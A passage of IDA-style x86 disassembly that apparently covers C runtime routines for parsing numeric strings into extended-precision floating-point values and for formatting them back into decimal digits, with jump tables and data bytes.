cmp [ebp+var_A4], 2Bh
jz short loc_4369B7
cmp [ebp+var_A4], 2Dh
jz short loc_4369A7
cmp [ebp+var_A4], 30h
jz short loc_43699E
jmp short loc_4369C0
; ---------------------------------------------------------------------------
loc_43699E: ; CODE XREF: sub_4363F0+5AAj
mov [ebp+var_4C], 8
jmp short loc_4369CD
; ---------------------------------------------------------------------------
loc_4369A7: ; CODE XREF: sub_4363F0+5A1j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_4369CD
; ---------------------------------------------------------------------------
loc_4369B7: ; CODE XREF: sub_4363F0+598j
mov [ebp+var_4C], 7
jmp short loc_4369CD
; ---------------------------------------------------------------------------
loc_4369C0: ; CODE XREF: sub_4363F0+5ACj
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_64]
mov [ebp+var_4], eax
loc_4369CD: ; CODE XREF: sub_4363F0+586j
; sub_4363F0+5B5j ...
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_4369D2: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E2Ao
mov [ebp+var_18], 1
jmp short loc_4369EC
; ---------------------------------------------------------------------------
loc_4369DB: ; CODE XREF: sub_4363F0+605j
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_4369EC: ; CODE XREF: sub_4363F0+5E9j
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 30h
jnz short loc_4369F7
jmp short loc_4369DB
; ---------------------------------------------------------------------------
loc_4369F7: ; CODE XREF: sub_4363F0+603j
movsx edx, byte ptr [ebp+var_3C]
cmp edx, 31h
jl short loc_436A1B
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 39h
jg short loc_436A1B
mov [ebp+var_4C], 9
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
jmp short loc_436A2B
; ---------------------------------------------------------------------------
loc_436A1B: ; CODE XREF: sub_4363F0+60Ej
; sub_4363F0+617j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_436A2B: ; CODE XREF: sub_4363F0+629j
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_436A30: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E26o
movsx eax, byte ptr [ebp+var_3C]
cmp eax, 31h
jl short loc_436A54
movsx ecx, byte ptr [ebp+var_3C]
cmp ecx, 39h
jg short loc_436A54
mov [ebp+var_4C], 9
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_436A7E
; ---------------------------------------------------------------------------
loc_436A54: ; CODE XREF: sub_4363F0+647j
; sub_4363F0+650j
mov al, byte ptr [ebp+var_3C]
mov [ebp+var_A8], al
cmp [ebp+var_A8], 30h
jz short loc_436A68
jmp short loc_436A71
; ---------------------------------------------------------------------------
loc_436A68: ; CODE XREF: sub_4363F0+674j
mov [ebp+var_4C], 8
jmp short loc_436A7E
; ---------------------------------------------------------------------------
loc_436A71: ; CODE XREF: sub_4363F0+676j
mov [ebp+var_4C], 0Ah
mov ecx, [ebp+var_64]
mov [ebp+var_4], ecx
loc_436A7E: ; CODE XREF: sub_4363F0+662j
; sub_4363F0+67Fj
jmp loc_436BF3
; ---------------------------------------------------------------------------
loc_436A83: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E2Eo
mov [ebp+var_18], 1
mov [ebp+var_7C], 0
jmp short loc_436AA4
; ---------------------------------------------------------------------------
loc_436A93: ; CODE XREF: sub_4363F0:loc_436B12j
mov edx, [ebp+var_4]
mov al, [edx]
mov byte ptr [ebp+var_3C], al
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
loc_436AA4: ; CODE XREF: sub_4363F0+6A1j
cmp ds:dword_453DF0, 1
jle short loc_436AC9
push 4
mov edx, [ebp+var_3C]
and edx, 0FFh
push edx
call sub_427040
add esp, 8
mov [ebp+var_AC], eax
jmp short loc_436AE6
; ---------------------------------------------------------------------------
loc_436AC9: ; CODE XREF: sub_4363F0+6BBj
mov eax, [ebp+var_3C]
and eax, 0FFh
mov ecx, ds:off_453BE4
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 4
mov [ebp+var_AC], edx
loc_436AE6: ; CODE XREF: sub_4363F0+6D7j
cmp [ebp+var_AC], 0
jz short loc_436B17
mov eax, [ebp+var_7C]
imul eax, 0Ah
movsx ecx, byte ptr [ebp+var_3C]
lea edx, [eax+ecx-30h]
mov [ebp+var_7C], edx
cmp [ebp+var_7C], 1450h
jle short loc_436B12
mov [ebp+var_7C], 1451h
jmp short loc_436B17
; ---------------------------------------------------------------------------
loc_436B12: ; CODE XREF: sub_4363F0+717j
jmp loc_436A93
; ---------------------------------------------------------------------------
loc_436B17: ; CODE XREF: sub_4363F0+6FDj
; sub_4363F0+720j
mov eax, [ebp+var_7C]
mov [ebp+var_14], eax
jmp short loc_436B30
; ---------------------------------------------------------------------------
loc_436B1F: ; CODE XREF: sub_4363F0+78Bj
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov byte ptr [ebp+var_3C], dl
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_436B30: ; CODE XREF: sub_4363F0+72Dj
cmp ds:dword_453DF0, 1
jle short loc_436B55
push 4
mov ecx, [ebp+var_3C]
and ecx, 0FFh
push ecx
call sub_427040
add esp, 8
mov [ebp+var_B0], eax
jmp short loc_436B72
; ---------------------------------------------------------------------------
loc_436B55: ; CODE XREF: sub_4363F0+747j
mov edx, [ebp+var_3C]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_B0], ecx
loc_436B72: ; CODE XREF: sub_4363F0+763j
cmp [ebp+var_B0], 0
jz short loc_436B7D
jmp short loc_436B1F
; ---------------------------------------------------------------------------
loc_436B7D: ; CODE XREF: sub_4363F0+789j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_436BF3
; ---------------------------------------------------------------------------
loc_436B8F: ; CODE XREF: sub_4363F0+D5j
; DATA XREF: _0:00436E36o
cmp [ebp+arg_18], 0
jz short loc_436BE3
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_64], eax
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_B4], cl
cmp [ebp+var_B4], 2Bh
jz short loc_436BCB
cmp [ebp+var_B4], 2Dh
jz short loc_436BBB
jmp short loc_436BD4
; ---------------------------------------------------------------------------
loc_436BBB: ; CODE XREF: sub_4363F0+7C7j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_436BE1
; ---------------------------------------------------------------------------
loc_436BCB: ; CODE XREF: sub_4363F0+7BEj
mov [ebp+var_4C], 7
jmp short loc_436BE1
; ---------------------------------------------------------------------------
loc_436BD4: ; CODE XREF: sub_4363F0+7C9j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_436BE1: ; CODE XREF: sub_4363F0+7D9j
; sub_4363F0+7E2j
jmp short loc_436BF3
; ---------------------------------------------------------------------------
loc_436BE3: ; CODE XREF: sub_4363F0+7A3j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_436BF3: ; CODE XREF: sub_4363F0+CCj
; sub_4363F0+D5j ...
jmp loc_436497
; ---------------------------------------------------------------------------
loc_436BF8: ; CODE XREF: sub_4363F0+ABj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
cmp [ebp+var_54], 0
jz loc_436D47
cmp [ebp+var_40], 0
jnz loc_436D47
cmp [ebp+var_78], 0
jnz loc_436D47
cmp [ebp+var_70], 18h
jbe short loc_436C4F
movsx eax, [ebp+var_21]
cmp eax, 5
jl short loc_436C36
mov cl, [ebp+var_21]
add cl, 1
mov [ebp+var_21], cl
loc_436C36: ; CODE XREF: sub_4363F0+83Bj
mov [ebp+var_70], 18h
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
loc_436C4F: ; CODE XREF: sub_4363F0+832j
cmp [ebp+var_70], 0
jbe loc_436D2A
mov ecx, [ebp+var_68]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_436C6D
; ---------------------------------------------------------------------------
loc_436C64: ; CODE XREF: sub_4363F0+899j
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
loc_436C6D: ; CODE XREF: sub_4363F0+872j
mov eax, [ebp+var_68]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_436C8B
mov edx, [ebp+var_70]
sub edx, 1
mov [ebp+var_70], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
jmp short loc_436C64
; ---------------------------------------------------------------------------
loc_436C8B: ; CODE XREF: sub_4363F0+885j
lea ecx, [ebp+var_60]
push ecx
mov edx, [ebp+var_70]
push edx
lea eax, [ebp+var_38]
push eax
call sub_4362B0
add esp, 0Ch
cmp [ebp+var_74], 0
jge short loc_436CAD
mov ecx, [ebp+var_14]
neg ecx
mov [ebp+var_14], ecx
loc_436CAD: ; CODE XREF: sub_4363F0+8B3j
mov edx, [ebp+var_14]
add edx, [ebp+var_6C]
mov [ebp+var_14], edx
cmp [ebp+var_18], 0
jnz short loc_436CC5
mov eax, [ebp+var_14]
add eax, [ebp+arg_10]
mov [ebp+var_14], eax
loc_436CC5: ; CODE XREF: sub_4363F0+8CAj
cmp [ebp+var_C], 0
jnz short loc_436CD4
mov ecx, [ebp+var_14]
sub ecx, [ebp+arg_14]
mov [ebp+var_14], ecx
loc_436CD4: ; CODE XREF: sub_4363F0+8D9j
cmp [ebp+var_14], 1450h
jle short loc_436CE6
mov [ebp+var_40], 1
jmp short loc_436D28
; ---------------------------------------------------------------------------
loc_436CE6: ; CODE XREF: sub_4363F0+8EBj
cmp [ebp+var_14], 0FFFFEBB0h
jge short loc_436CF8
mov [ebp+var_78], 1
jmp short loc_436D28
; ---------------------------------------------------------------------------
loc_436CF8: ; CODE XREF: sub_4363F0+8FDj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_14]
push eax
lea ecx, [ebp+var_60]
push ecx
call sub_4395B0
add esp, 0Ch
mov dx, [ebp+var_60]
mov [ebp+var_48], dx
mov eax, [ebp+var_5E]
mov [ebp+var_8], eax
mov ecx, [ebp+var_5A]
mov [ebp+var_10], ecx
mov dx, [ebp+var_56]
mov word ptr [ebp+var_50], dx
loc_436D28: ; CODE XREF: sub_4363F0+8F4j
; sub_4363F0+906j
jmp short loc_436D47
; ---------------------------------------------------------------------------
loc_436D2A: ; CODE XREF: sub_4363F0+863j
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
loc_436D47: ; CODE XREF: sub_4363F0+814j
; sub_4363F0+81Ej ...
cmp [ebp+var_54], 0
jnz short loc_436D76
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov edx, [ebp+var_50]
and edx, 0FFFFh
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_44]
or ecx, 4
mov [ebp+var_44], ecx
jmp short loc_436DCD
; ---------------------------------------------------------------------------
loc_436D76: ; CODE XREF: sub_4363F0+95Bj
cmp [ebp+var_40], 0
jz short loc_436DA1
mov word ptr [ebp+var_50], 7FFFh
mov [ebp+var_10], 80000000h
mov [ebp+var_8], 0
mov [ebp+var_48], 0
mov edx, [ebp+var_44]
or edx, 2
mov [ebp+var_44], edx
jmp short loc_436DCD
; ---------------------------------------------------------------------------
loc_436DA1: ; CODE XREF: sub_4363F0+98Aj
cmp [ebp+var_78], 0
jz short loc_436DCD
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
mov edx, [ebp+var_44]
or edx, 1
mov [ebp+var_44], edx
loc_436DCD: ; CODE XREF: sub_4363F0+984j
; sub_4363F0+9AFj ...
mov eax, [ebp+arg_0]
mov cx, [ebp+var_48]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+6], edx
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov ecx, [ebp+var_1C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+var_44]
mov esp, ebp
pop ebp
retn
sub_4363F0 endp
; ---------------------------------------------------------------------------
off_436E0A dd offset loc_4364CC ; DATA XREF: sub_4363F0+D5r
dd offset loc_43656A
dd offset loc_436620
dd offset loc_43668B
dd offset loc_4367A3
dd offset loc_4368D5
dd offset loc_43694B
dd offset loc_436A30
dd offset loc_4369D2
dd offset loc_436A83
dd offset loc_436BF3
dd offset loc_436B8F
off_436E3A dd offset loc_4365F9 ; DATA XREF: sub_4363F0+1F0r
dd offset loc_4365E7
dd offset loc_4365F0
dd offset loc_43660B
byte_436E4A db 0 ; DATA XREF: sub_4363F0+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
off_436E85 dd offset loc_43677C ; DATA XREF: sub_4363F0+37Cr
dd offset loc_436773
dd offset loc_43678E
byte_436E91 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1)
; DATA XREF: sub_4363F0+376r
off_436ECC dd offset loc_4368AE ; DATA XREF: sub_4363F0+4AEr
dd offset loc_4368A5
dd offset loc_4368C0
byte_436ED8 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1)
; DATA XREF: sub_4363F0+4A8r
db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push 0
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-0Ch]
push eax
call sub_4363F0
add esp, 1Ch
mov [ebp-14h], eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_432A60
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 1
jnz short loc_436F68
mov eax, [ebp-14h]
or al, 2
mov [ebp-14h], eax
loc_436F68: ; CODE XREF: _0:00436F5Ej
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_436F70 proc near ; CODE XREF: sub_432CE0+36p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 74h
mov word ptr [ebp+var_64], 4D10h
mov word ptr [ebp+var_3C], 4Dh
mov word ptr [ebp+var_60], 9Ah
mov [ebp+var_20], 134312F4h
mov [ebp+var_54], 0CCh
mov [ebp+var_53], 0CCh
mov [ebp+var_52], 0CCh
mov [ebp+var_51], 0CCh
mov [ebp+var_50], 0CCh
mov [ebp+var_4F], 0CCh
mov [ebp+var_4E], 0CCh
mov [ebp+var_4D], 0CCh
mov [ebp+var_4C], 0CCh
mov [ebp+var_4B], 0CCh
mov [ebp+var_4A], 0FBh
mov [ebp+var_49], 3Fh
mov [ebp+var_58], 1
mov ax, [ebp+arg_8]
mov word ptr [ebp+var_70], ax
mov ecx, [ebp+arg_4]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_48], edx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 8000h
mov word ptr [ebp+var_68], ax
mov cx, word ptr [ebp+var_70]
and cx, 7FFFh
mov word ptr [ebp+var_70], cx
mov edx, [ebp+var_68]
and edx, 0FFFFh
test edx, edx
jz short loc_43700E
mov eax, [ebp+arg_14]
mov byte ptr [eax+2], 2Dh
jmp short loc_437015
; ---------------------------------------------------------------------------
loc_43700E: ; CODE XREF: sub_436F70+93j
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
loc_437015: ; CODE XREF: sub_436F70+9Cj
mov edx, [ebp+var_70]
and edx, 0FFFFh
test edx, edx
jnz short loc_43705C
cmp [ebp+var_24], 0
jnz short loc_43705C
cmp [ebp+var_48], 0
jnz short loc_43705C
mov eax, [ebp+arg_14]
mov word ptr [eax], 0
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 1
mov eax, [ebp+arg_14]
mov byte ptr [eax+4], 30h
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+5], 0
mov eax, 1
jmp loc_437482
; ---------------------------------------------------------------------------
loc_43705C: ; CODE XREF: sub_436F70+B0j
; sub_436F70+B6j ...
mov edx, [ebp+var_70]
and edx, 0FFFFh
cmp edx, 7FFFh
jnz loc_437156
mov eax, [ebp+arg_14]
mov word ptr [eax], 1
cmp [ebp+var_24], 80000000h
jnz short loc_437088
cmp [ebp+var_48], 0
jz short loc_4370BC
loc_437088: ; CODE XREF: sub_436F70+110j
mov ecx, [ebp+var_24]
and ecx, 40000000h
test ecx, ecx
jnz short loc_4370BC
push offset dword_43DF00
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_41F620
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 6
mov [ebp+var_58], 0
jmp loc_437151
; ---------------------------------------------------------------------------
loc_4370BC: ; CODE XREF: sub_436F70+116j
; sub_436F70+123j
mov ecx, [ebp+var_68]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_4370FC
cmp [ebp+var_24], 0C0000000h
jnz short loc_4370FC
cmp [ebp+var_48], 0
jnz short loc_4370FC
push offset dword_43DEF8
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_41F620
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 5
mov [ebp+var_58], 0
jmp short loc_437151
; ---------------------------------------------------------------------------
loc_4370FC: ; CODE XREF: sub_436F70+157j
; sub_436F70+160j ...
cmp [ebp+var_24], 80000000h
jnz short loc_43712F
cmp [ebp+var_48], 0
jnz short loc_43712F
push offset dword_43DEF0
mov ecx, [ebp+arg_14]
add ecx, 4
push ecx
call sub_41F620
add esp, 8
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 5
mov [ebp+var_58], 0
jmp short loc_437151
; ---------------------------------------------------------------------------
loc_43712F: ; CODE XREF: sub_436F70+193j
; sub_436F70+199j
push offset dword_43DEE8
mov eax, [ebp+arg_14]
add eax, 4
push eax
call sub_41F620
add esp, 8
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+3], 6
mov [ebp+var_58], 0
loc_437151: ; CODE XREF: sub_436F70+147j
; sub_436F70+18Aj ...
jmp loc_43747F
; ---------------------------------------------------------------------------
loc_437156: ; CODE XREF: sub_436F70+FBj
mov edx, [ebp+var_70]
and edx, 0FFFFh
sar edx, 8
mov word ptr [ebp+var_6C], dx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 0FFh
mov [ebp+var_C], ax
mov ecx, [ebp+var_24]
shr ecx, 18h
mov word ptr [ebp+var_40], cx
mov edx, [ebp+var_64]
and edx, 0FFFFh
mov eax, [ebp+var_70]
and eax, 0FFFFh
imul edx, eax
mov ecx, [ebp+var_3C]
and ecx, 0FFFFh
mov eax, [ebp+var_6C]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
mov ecx, [ebp+var_60]
and ecx, 0FFFFh
mov eax, [ebp+var_40]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
sub edx, [ebp+var_20]
mov [ebp+var_8], edx
mov ecx, [ebp+var_8]
sar ecx, 10h
mov [ebp+var_5C], cx
mov dx, word ptr [ebp+var_70]
mov word ptr [ebp+var_2E], dx
mov eax, [ebp+var_24]
mov [ebp+var_32], eax
mov ecx, [ebp+var_48]
mov [ebp+var_38+2], ecx
mov word ptr [ebp+var_38], 0
push 1
movsx edx, [ebp+var_5C]
neg edx
push edx
lea eax, [ebp+var_38]
push eax
call sub_4395B0
add esp, 0Ch
mov ecx, [ebp+var_2E]
and ecx, 0FFFFh
cmp ecx, 3FFFh
jl short loc_43722D
mov dx, [ebp+var_5C]
add dx, 1
mov [ebp+var_5C], dx
lea eax, [ebp+var_54]
push eax
lea ecx, [ebp+var_38]
push ecx
call sub_439170
add esp, 8
loc_43722D: ; CODE XREF: sub_436F70+29Fj
mov edx, [ebp+arg_14]
mov ax, [ebp+var_5C]
mov [edx], ax
mov ecx, [ebp+arg_10]
and ecx, 1
test ecx, ecx
jz short loc_437281
movsx edx, [ebp+var_5C]
mov eax, [ebp+arg_C]
add eax, edx
mov [ebp+arg_C], eax
cmp [ebp+arg_C], 0
jg short loc_437281
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp loc_437482
; ---------------------------------------------------------------------------
loc_437281: ; CODE XREF: sub_436F70+2CFj
; sub_436F70+2E1j
cmp [ebp+arg_C], 15h
jle short loc_43728E
mov [ebp+arg_C], 15h
loc_43728E: ; CODE XREF: sub_436F70+315j
mov eax, [ebp+var_2E]
and eax, 0FFFFh
sub eax, 3FFEh
mov [ebp+var_2E+2], eax
mov word ptr [ebp+var_2E], 0
mov [ebp+var_44], 0
jmp short loc_4372B6
; ---------------------------------------------------------------------------
loc_4372AD: ; CODE XREF: sub_436F70+358j
mov ecx, [ebp+var_44]
add ecx, 1
mov [ebp+var_44], ecx
loc_4372B6: ; CODE XREF: sub_436F70+33Bj
cmp [ebp+var_44], 8
jge short loc_4372CA
lea edx, [ebp+var_38]
push edx
call sub_4361E0
add esp, 4
jmp short loc_4372AD
; ---------------------------------------------------------------------------
loc_4372CA: ; CODE XREF: sub_436F70+34Aj
cmp [ebp+var_2E+2], 0
jge short loc_4372FC
mov eax, [ebp+var_2E+2]
neg eax
and eax, 0FFh
mov [ebp+var_74], eax
jmp short loc_4372E8
; ---------------------------------------------------------------------------
loc_4372DF: ; CODE XREF: sub_436F70+38Aj
mov ecx, [ebp+var_74]
sub ecx, 1
mov [ebp+var_74], ecx
loc_4372E8: ; CODE XREF: sub_436F70+36Dj
cmp [ebp+var_74], 0
jle short loc_4372FC
lea edx, [ebp+var_38]
push edx
call sub_436240
add esp, 4
jmp short loc_4372DF
; ---------------------------------------------------------------------------
loc_4372FC: ; CODE XREF: sub_436F70+35Ej
; sub_436F70+37Cj
mov eax, [ebp+arg_14]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_437319
; ---------------------------------------------------------------------------
loc_437310: ; CODE XREF: sub_436F70+413j
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
loc_437319: ; CODE XREF: sub_436F70+39Ej
cmp [ebp+var_10], 0
jle short loc_437385
mov eax, [ebp+var_38]
mov [ebp+var_1C], eax
mov ecx, [ebp-34h]
mov [ebp+var_18], ecx
mov edx, [ebp+var_32+2]
mov [ebp+var_14], edx
lea eax, [ebp+var_38]
push eax
call sub_4361E0
add esp, 4
lea ecx, [ebp+var_38]
push ecx
call sub_4361E0
add esp, 4
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_38]
push eax
call sub_436130
add esp, 8
lea ecx, [ebp+var_38]
push ecx
call sub_4361E0
add esp, 4
mov edx, [ebp+var_2E+1]
and edx, 0FFh
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov byte ptr [ebp+var_2E+1], 0
jmp short loc_437310
; ---------------------------------------------------------------------------
loc_437385: ; CODE XREF: sub_436F70+3ADj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov [ebp+var_28], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
movsx eax, [ebp+var_28]
cmp eax, 35h
jl short loc_437403
jmp short loc_4373B3
; ---------------------------------------------------------------------------
loc_4373AA: ; CODE XREF: sub_436F70+45Fj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_4373B3: ; CODE XREF: sub_436F70+438j
mov edx, [ebp+arg_14]
add edx, 4
cmp [ebp+var_4], edx
jb short loc_4373D1
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_4373D1
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
jmp short loc_4373AA
; ---------------------------------------------------------------------------
loc_4373D1: ; CODE XREF: sub_436F70+44Cj
; sub_436F70+457j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_4373F5
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov ax, [edx]
add ax, 1
mov ecx, [ebp+arg_14]
mov [ecx], ax
loc_4373F5: ; CODE XREF: sub_436F70+46Aj
mov edx, [ebp+var_4]
mov al, [edx]
add al, 1
mov ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_43745C
; ---------------------------------------------------------------------------
loc_437403: ; CODE XREF: sub_436F70+436j
jmp short loc_43740E
; ---------------------------------------------------------------------------
loc_437405: ; CODE XREF: sub_436F70+4B4j
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_43740E: ; CODE XREF: sub_436F70:loc_437403j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jb short loc_437426
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_437426
jmp short loc_437405
; ---------------------------------------------------------------------------
loc_437426: ; CODE XREF: sub_436F70+4A7j
; sub_436F70+4B2j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_43745C
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp short loc_437482
; ---------------------------------------------------------------------------
loc_43745C: ; CODE XREF: sub_436F70+491j
; sub_436F70+4BFj
mov eax, [ebp+arg_14]
add eax, 4
mov ecx, [ebp+var_4]
sub ecx, eax
add ecx, 1
mov edx, [ebp+arg_14]
mov [edx+3], cl
mov eax, [ebp+arg_14]
movsx ecx, byte ptr [eax+3]
mov edx, [ebp+arg_14]
mov byte ptr [edx+ecx+4], 0
loc_43747F: ; CODE XREF: sub_436F70:loc_437151j
mov eax, [ebp+var_58]
loc_437482: ; CODE XREF: sub_436F70+E7j
; sub_436F70+30Cj ...
mov esp, ebp
pop ebp
retn
sub_436F70 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
push 0Ch
call sub_423280
add esp, 4
mov eax, [ebp+8]
push eax
call sub_4374C0
add esp, 4
mov [ebp-4], eax
push 0Ch
call sub_423320
add esp, 4
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4374C0 proc near ; CODE XREF: sub_433090+3Ap
; _0:004374A2p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, ds:dword_4F3314
mov [ebp+var_8], eax
cmp ds:dword_4F4A28, 0
jnz short loc_4374DE
xor eax, eax
jmp loc_437582
; ---------------------------------------------------------------------------
loc_4374DE: ; CODE XREF: sub_4374C0+15j
cmp [ebp+var_8], 0
jnz short loc_437506
cmp ds:dword_4F331C, 0
jz short loc_437506
